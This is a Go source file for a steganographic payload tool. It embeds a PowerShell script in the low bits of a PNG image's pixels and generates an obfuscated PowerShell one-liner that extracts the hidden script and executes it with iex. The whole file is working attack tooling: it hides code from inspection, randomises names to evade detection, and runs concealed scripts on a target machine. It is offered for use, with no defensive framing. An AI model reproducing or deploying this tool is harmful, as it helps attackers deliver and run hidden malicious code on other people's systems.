package main

import (
	"flag"
	"fmt"
	"image"
	"image/color"
	"image/png"
	"os"
	"path/filepath"
	"math/rand"
	"regexp"
	"strings"
	"time"
)

const keySpace = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

func obfuscate(template string, length int) (string, error) {
	if length <= 0 {
		return "", fmt.Errorf("[err] length must be a positive integer")
	}

	placeholderValues := make(map[string]string)
	re := regexp.MustCompile(`<%=obf (.*?) %>`)

	result := re.ReplaceAllStringFunc(template, func(match string) string {
		placeholder := re.FindStringSubmatch(match)[1]
		if val, exists := placeholderValues[placeholder]; exists {
			return val
		}

		var randomString strings.Builder
		for i := 0; i < length; i++ {
			randomString.WriteByte(keySpace[rand.Intn(len(keySpace))])
		}
		placeholderValues[placeholder] = randomString.String()
		return placeholderValues[placeholder]
	})

	return result, nil
}

func embedScriptInPNG(scriptPath, outPath, imagePath, execPath string) (string, error) {
	scriptBytes, err := os.ReadFile(scriptPath)
	if err != nil {
		return "", fmt.Errorf("[err] reading script file: %v\n", err)
	}
	if len(scriptBytes) == 0 {
		return "", fmt.Errorf("[err] script file is empty\n")
	}
	fmt.Printf("[inf] script size: %d bytes\n", len(scriptBytes))

	scriptPath, err = filepath.Abs(scriptPath)
	if err != nil {
		return "", fmt.Errorf("[err] resolving script path: %v\n", err)
	}
	imagePath, err = filepath.Abs(imagePath)
	if err != nil {
		return "", fmt.Errorf("[err] resolving image path: %v\n", err)
	}
	outPath, err = filepath.Abs(outPath)
	if err != nil {
		return "", fmt.Errorf("[err] resolving output path: %v\n", err)
	}

	file, err := os.Open(imagePath)
	if err != nil {
		return "", fmt.Errorf("[err] opening input png file: %v\n", err)
	}
	defer file.Close()
	stat, err := file.Stat()
	if err != nil {
		return "", fmt.Errorf("[err] getting file info: %v\n", err)
	}
	fmt.Printf("[inf] image size: %d bytes\n", stat.Size())
	img, err := png.Decode(file)
	if err != nil {
		return "", fmt.Errorf("[err] decoding png: %v\n", err)
	}
	bounds := img.Bounds()
	width, height := bounds.Max.X, bounds.Max.Y
	fmt.Printf("[inf] png dimensions: %dx%d\n", width, height)

	if len(scriptBytes) > width*height {
		return "", fmt.Errorf("[err] script too large (%d bytes) for png (%d pixels)\n", len(scriptBytes), width*height)
	}

	newImg := image.NewRGBA(image.Rect(0, 0, width, height))
	for y := 0; y < height; y++ {
		for x := 0; x < width; x++ {
			r, g, b, a := img.At(x, y).RGBA()
			newImg.SetRGBA(x, y, color.RGBA{
				R: uint8(r >> 8),
				G: uint8(g >> 8),
				B: uint8(b >> 8),
				A: uint8(a >> 8),
			})
		}
	}

	for y := 0; y < height; y++ {
		for x := 0; x < width; x++ {
			index := y*width + x
			if index < len(scriptBytes) {
				byteValue := scriptBytes[index]
				r, g, b, a := newImg.At(x, y).RGBA()
				newR := (r & 0xF0) | uint32(byteValue>>4)
				newG := (g & 0xF0) | uint32(byteValue&0x0F)
				newImg.SetRGBA(x, y, color.RGBA{
					R: uint8(newR),
					G: uint8(newG),
					B: uint8(b),
					A: uint8(a),
				})
			}
		}
	}

	outFile, err := os.Create(outPath)
	if err != nil {
		return "", fmt.Errorf("[err] creating output file: %v\n", err)
	}
	defer outFile.Close()
	if err := png.Encode(outFile, newImg); err != nil {
		return "", fmt.Errorf("[err] encoding png: %v\n", err)
	}
	fmt.Printf("[inf] created output file: %s\n", outPath)

	template := `sal <%=obf a %> new-object;add-type -a system.drawing;$<%=obf g %>=<%=obf a %> system.drawing.bitmap("%s");$<%=obf o %>=<%=obf a %> byte[] %d;(0..%d)|%%{foreach($<%=obf x %> in 0..%d) {$<%=obf p %>=$<%=obf g %>.getpixel($<%=obf x %>,$_);$<%=obf o %>[$_*%d+$<%=obf x %>]=[math]::floor(($<%=obf p %>.r -band 0x0f)*16) + ($<%=obf p %>.g -band 0x0f);}};$<%=obf g %>.dispose();iex([system.text.encoding]::ascii.getstring($<%=obf o %>[0..%d]))`

	rand.Seed(time.Now().UnixNano())

	obfTemplate, err := obfuscate(template, 16)
	if err != nil {
		return "", fmt.Errorf("[err] obfuscating powershell: %v", err)
	}

	psCmd := fmt.Sprintf(obfTemplate,
		execPath,
		width*height,
		height-1,
		width-1,
		width,
		len(scriptBytes)-1,
	)

	return psCmd, nil
}

func main() {
	imagePath := flag.String("image", "", "input png file")
	scriptPath := flag.String("script", "", "powershell script file to embed")
	execPath := flag.String("exec", "", "execution path for decoder")
	outPath := flag.String("out", "", "output png file")
	flag.Parse()

	if *scriptPath == "" || *outPath == "" || *imagePath == "" || *execPath == "" {
		fmt.Println("go implementation to embed powershell scripts into png images using steganography")
		fmt.Println("use the powershell one-liner to decode and iex the embedded script")
		flag.PrintDefaults()
		os.Exit(1)
	}

	psCmd, err := embedScriptInPNG(*scriptPath, *outPath, *imagePath, *execPath)
	if err != nil {
		fmt.Printf("[err] failed to embed script: %v\n", err)
		os.Exit(1)
	}

	fmt.Printf("[inf] successfully embedded %s into %s\n", *scriptPath, *outPath)
	fmt.Printf("[inf] powershell decoder snippet:\n")

	fmt.Println(psCmd)
}